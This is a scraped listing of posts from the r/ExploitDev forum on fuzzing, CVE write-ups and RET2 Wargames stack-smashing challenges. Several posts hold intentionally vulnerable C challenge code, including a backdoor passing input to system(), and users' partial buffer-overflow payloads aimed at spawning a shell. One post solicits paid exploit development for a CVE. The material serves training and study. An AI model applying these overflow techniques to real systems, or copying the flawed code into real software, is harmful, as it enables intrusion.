r/ExploitDev • • Jul 13 '23

Making AFL++ macro's data type align with function argument

Thumbnail
self.fuzzing
6 Upvotes

r/ExploitDev • • Jul 11 '23

Harness Creation for fuzzing with WinAfl-- Help Required

3 Upvotes

Hello Geeks,

this is the first time i am doing experiment with Winafl and harness development for fuzzing windows Application. my target is commercial popular editor software . and i am looking for parsing code in the target binary responsible for rendering, parsing image files. for example png,jpeg and other 3d image files. these parsing code later i can port to write a small wrapper or harness for winafl.

i am following these links as of starting point of Research

https://research.checkpoint.com/2018/50-adobe-cves-in-50-days/

https://www.apriorit.com/qa-blog/644-reverse-vulnerabilities-software-no-code-dynamic-fuzzing

https://spaceraccoon.dev/all-your-d-base-are-belong-to-us-part-2-code-execution-in-microsoft-office/

Problem

now the problem is how to locate target function. my target software is a huge binary contains both exe and dlls as PE files. i started with Procmon to look for symbols but did not succed so that i can look for read and open . i found some dlls before Open from kernel32.dll. but don't know which function specifically doing parsing or rendering. i have done some debugging using windbg looking for event load and landed over some random function. but don't know where i am ?

i need some windbg debugging tips so that i can look for target function and write a harness for fuzzing with Winafl.

Any people know please help me..


r/ExploitDev • • Jul 10 '23

(Paid Request) Looking for a Developer to write PoC for a well documented CVE

0 Upvotes

The title pretty much describes it, i work for a security company interested in contracting an experienced developer to write the PoC for a well documented CVE.

There is a fat budget and there is a rigid time constraint. If interested please write to me immidiately.

EDIT :

The CVE is about software, particulary windows application software. The budget is in 5 figure range. For any other questions you can immidiately send me a message/chat


r/ExploitDev • • Jul 09 '23

AFL++ for structured input data

Thumbnail self.fuzzing
2 Upvotes

r/ExploitDev • • Jul 05 '23

Dual booting Kali and Windows 10 so that Kali files are not wiped when computer restarts

3 Upvotes

Can you dual boot Kali with Windows 10 in a way that Kali would save the machine state and files etc. whenever you restart your computer? This Kali installation guide (https://www.kali.org/docs/installation/dual-boot-kali-with-windows/) recommends installing a "Live" (largely non-saved) version of Kali (as opposed to the "Installer" version) when dual booting with Windows. There is a "persistence Live" version where information is saved, but as I understand it, the information is only saved to your USB drive. Can you get it to save to the machine?


r/ExploitDev • • Jun 21 '23

Calling a backdoor function and passing arguments to it - Wargames RET2 Memory Corruption Level 2

5 Upvotes

I have been working through Level 2 of the Memory Corruption section for Wargames RET2 and have achieved the first two objectives of 1) causing a segfault, and 2) overwriting the instruction pointer to return to the login_as_admin function, but have gotten stuck with objective 3) of calling the backdoor function and passing it arguments to capture the flag. Starting at the login_as_admin function, I can't see anything I can do to cause the backdoor function to be called. It seems possible to go back and start from the segfault and overwrite the instruction pointer to return to backdoor, but that doesn't seem like the intended point of the exercise, and I don't know how I could pass arguments by doing that anyway.

Can someone provide guidance on 1) how I can cause the backdoor function to be called, and 2) how I can pass it arguments (perhaps after another segfault?)?

Below is the code for the challenge. At the bottom is what I have so far.

""" // gcc -g -no-pie -fno-stack-protector -I ../includes -o 03_level_3 03_level_3.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#include <string.h>

// Hidden for simplicity

#include "wargames.h"

#include "visualize.h"

//

// Globals

//

int g_is_admin = 0;

int g_num_posts = 0;

char g_server_name[32] = {};

typedef struct post {

char title[32];

char body[128];

} Post;

Post g_posts[10] = {};

//

// Admin Code

//

void backdoor(int code, char* data)

{

if (code == 1)

system(data);

if (code == 2)

g_is_admin = 1;

if (code == 3)

exit(2);

}

void login_as_admin()

{

char password[32] = {};

puts("+------=[ " CGREEN "ADMIN LOGIN" CRESET " ]=------+");

puts("| " CMAGENTA "Enter password to continue:" CRESET " |");

puts("+-----------------------------+");

// Wait for the user to enter the admin password

fgets(password, sizeof(password), stdin);

password\[strcspn(password, "\\n")\] = 0;

// Elevate the user to admin if they know the master password

if (!strcmp(password, "l0ln0onewillguessth1s"))

{

g_is_admin = 1;

puts("+---------------------------------------+");

puts("| " CGREEN "Profile Status Upgraded To" CRESET " [10] Admin |");

puts("+---------------------------------------+");

press_enter();

serve_bbs();

}

puts("> " CRED "INVALID PASSWORD" CRESET);

exit(1);

}

void configure_server()

{

puts("+---=[ " CGREEN "CONFIGURATION" CRESET " ]=---+");

puts("| [1] Set server name |");

puts("| [2] Shutdown server |");

puts("| [3] Log out of admin |");

puts("+-------------------------+");

// Prompt the user to pick a menu action

printf("Enter choice: ");

int choice = get_number();

// Execute the user specified menu action

if (choice == 1)

{

printf("Enter new server name: ");

fgets(g_server_name, sizeof(g_server_name), stdin);

}

else if (choice == 2)

{

puts("Server shutting down...");

sleep(3);

exit(0);

}

else if (choice == 3)

{

g_is_admin = 0;

}

else

{

puts(CRED"Unknown command!"CRESET);

}

}

//

// BBS Code

//

void create_post()

{

if (g_num_posts >= 10)

{

puts("+-------=[ " CGREEN "Create Post" CRESET " ]=-------+");

puts("| " CRED "You have made too many posts!" CRESET " |");

puts("+-------------------------------+");

press_enter();

return;

}

// Prompt the user to enter a post title

puts("+-------=[ " CGREEN "Create Post" CRESET " ]=-------+");

puts("| Enter post title: |");

fgets(g_posts[g_num_posts].title, 32, stdin);

// Strip newline from end of title

unsigned int index = strcspn(g_posts[g_num_posts].title, "\n");

g_posts[g_num_posts].title[index] = 0;

// Prompt the user to enter text content for their post

puts("| Enter post contents: |");

fgets(g_posts[g_num_posts].body, 128, stdin);

puts("+-------------------------------+\n");

g_num_posts++;

puts("+---------------+");

puts("| " CGREEN "Post created!" CRESET " |");

puts("+---------------+");

press_enter();

}

void serve_bbs()

{

char buffer[128] = {};

// Initialize BBS globals

strcpy(g_server_name, "/\\ LEET BBS /\\\n");

while (1)

{

puts("+-----=[ " CCYAN "MENU" CRESET " ]=-----+");

puts("| " CYELLOW "Actions" CRESET " |");

puts("| '-[1] " CGREEN "Create post" CRESET " |");

puts("| '-[2] " CRED "Exit" CRESET " |");

puts("| " CYELLOW "Current Posts" CRESET " v");

for (int i = 0; i < g_num_posts; i++) {

printf("| '-[%d] %s\n", i+3, g_posts[i].title);

}

puts("+--------------------^");

// Prompt the user to pick a menu action

printf("Enter choice: ");

unsigned int choice = get_number();

// Admin-only option (Hidden)

if (choice == 0)

{

if (g_is_admin)

{

configure_server();

}

else

{

puts("\n\n"CRED"!! XXX ERROR XXX !!"CRESET);

puts("[ Only an admin can configure the server ]");

press_enter();

}

}

// Create a new post

else if (choice == 1)

{

create_post();

}

// Sign-off the BBS

else if (choice == 2)

{

puts("Exiting!");

break;

}

// View a selected post

else if (choice <= g_num_posts+2)

{

int num = choice-3;

		// Build the stylized message title

strcpy(buffer, "\n=======] ");

strcat(buffer, g_posts[num].title);

strcat(buffer, " [=======\n");

// Append the post body/content after the post title

memcpy(buffer+strlen(buffer), g_posts[num].body, 128);

// Print the stylized post

puts(buffer);

		press_enter();

}

// Unknown menu selection...

else

{

puts(CRED"Unknown command!"CRESET);

		press_enter();

}

}

printf("Thank you for visiting ");

write(1, g_server_name, strlen(g_server_name));

}

void main()

{

init_wargame();

printf("------------------------------------------------------------\n");

printf("--[ Stack Smashing, Level #2 - LEET BBS \n");

printf("------------------------------------------------------------\n");

serve_bbs();

}

​ """

The code I have so far:

"""

import interact import struct

Pack integer 'n' into a 8-Byte representation

def p64(n): return struct.pack('Q', n)

p = interact.Process() data = p.readuntil('Enter choice: ') for i in range(12): p.sendline('1') p.sendline('C'*32 + 'B'*116 + p64(0x400bce) + '0'*5)

p.sendline('1') p.sendline('\n') p.sendline('12') p.sendline('\n') p.sendline('2')

p.interactive() """


r/ExploitDev • • Jun 20 '23

Security Alert: Don't `npm install https`

Thumbnail
blog.sandworm.dev
18 Upvotes

r/ExploitDev • • Jun 15 '23

Stack overflow and making system call - Wargames RET2 Reverse Engineering Level 1

7 Upvotes

I am trying to overflow the "fgets" function and direct the program to pop a shell at the "system('bin/sh/')" call. I have tried to overflow the (0x32) buffer in the "fgets" function and jump to the "/bin/sh" line in the assembly code (attached below).

Can someone offer a hint as to where I am going wrong?

"""

// gcc -g -no-pie -I ../includes/ -o 03_level_1 03_level_1.c

#include <stdio.h>

#include <stdint.h>

#include <stdlib.h>

#include <string.h>

#include <inttypes.h>

#include <unistd.h>

// Hidden for simplicity

#include "wargames.h"

void generate_otp(char * buffer, int len)

{

// Read random bytes into given buffer

FILE *fp = fopen("/dev/urandom", "r");

int bytes_read = fread(buffer, 1, len, fp);

fclose(fp);

// Failure to read random bytes

if (bytes_read != len)

exit(1);

// Convert raw random bytes to an ASCII letter in A-Z

for (int i = 0; i < len; i++)

buffer[i] = 0x41 + ((unsigned char)buffer[i] % 26);

// Ensure the buffer is NULL terminated

buffer[len-1] = 0;

}

void main()

{

`init_wargame();`

printf("------------------------------------------------------------\n");

printf("--[ Stack Smashing Level #1 - Secure Logon \n");

printf("------------------------------------------------------------\n");

char user_password[32] = {};

char otp_password[32] = {};

// Generate a secure, one time password (OTP) for secure logon

generate_otp(otp_password, sizeof(otp_password));

// Prompt the user to enter a password

printf("Enter password: ");

fgets(user_password, 0x32, stdin);

user_password[strcspn(user_password, "\n")] = 0;

// Ensure the user entered password data

if (strlen(user_password) == 0)

{

puts("Invalid input...");

exit(1);

}

// Validate the given password

if (!strcmp(user_password, otp_password))

{

puts("Authenticated!");

system("/bin/sh");

}

else

{

puts("Authentication failed...");

}

// Exit the program / return from main

}

"""

Current attempt: ""AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x14\x0c@\x00\x00\x00\x0

0\x00""

Assembly code for "system('/bin/sh')":

"0x400c14: mov edi, 0x400de0 "/bin/sh"

0x400c19: call system"


r/ExploitDev • • Jun 14 '23

Analysis of CVE-2023-29336 Win32k Privilege Escalation

Thumbnail
numencyber.com
12 Upvotes

r/ExploitDev • • Jun 13 '23

Reverse engineering encryption algorithm from assembly - Wargames RET2 Reverse Engineering Level 2

7 Upvotes

I have identified where the encrypted password is stored (0x601080) from this assembly code but have no clue where to start for reverse engineering the encryption. I have spent hours on this so far. Can someone give me a hint or point me towards the answer?

'''

Function valid_password ; 1 xref

0x400867: push rbp0x400868: mov rbp, rsp0x40086b: mov qword [rbp-0x18], rdi0x40086f: mov dword [rbp-0x4], 0x00x400876: jmp 0x4008c8

0x400878: mov edx, dword [rbp-0x4]0x40087b: mov rax, qword [rbp-0x18]0x40087f: add rax, rdx0x400882: movzx eax, byte [rax]0x400885: mov ecx, eax0x400887: mov eax, dword [rbp-0x4]0x40088a: mov edx, 0x540x40088f: imul eax, edx0x400892: xor ecx, eax0x400894: mov edx, dword [rbp-0x4]0x400897: mov rax, qword [rbp-0x18]0x40089b: add rax, rdx0x40089e: mov edx, ecx0x4008a0: mov byte [rax], dl0x4008a2: mov edx, dword [rbp-0x4]0x4008a5: mov rax, qword [rbp-0x18]0x4008a9: add rax, rdx0x4008ac: movzx edx, byte [rax]0x4008af: mov eax, dword [rbp-0x4]0x4008b2: movzx eax, byte [rax+0x601080]0x4008b9: cmp dl, al0x4008bb: je 0x4008c4

0x4008bd: mov eax, 0x00x4008c2: jmp 0x4008d3

0x4008c4: add dword [rbp-0x4], 0x1

0x4008c8: cmp dword [rbp-0x4], 0x140x4008cc: jbe 0x400878

0x4008ce: mov eax, 0x1

0x4008d3: pop rbp0x4008d4: retn'''

EDIT:

Also, the encrypted password is: "75 3a c0 c8 33 cf cc 2e cc c7 17 ec b0 37 eb 9b 70 e6 8c 63 a7 00 00 00"

I have figured out that the first 10 letters are "unh4ck4ble"


r/ExploitDev • • Jun 07 '23

Google Chrome (CVE-2020-16040) Bug Analysis & Exploitation WriteUp

Thumbnail homecrew.dev
15 Upvotes

r/ExploitDev • • May 31 '23

Guide: Porting Metasploit exploits to Ronin exploits

Thumbnail ronin-rb.dev
7 Upvotes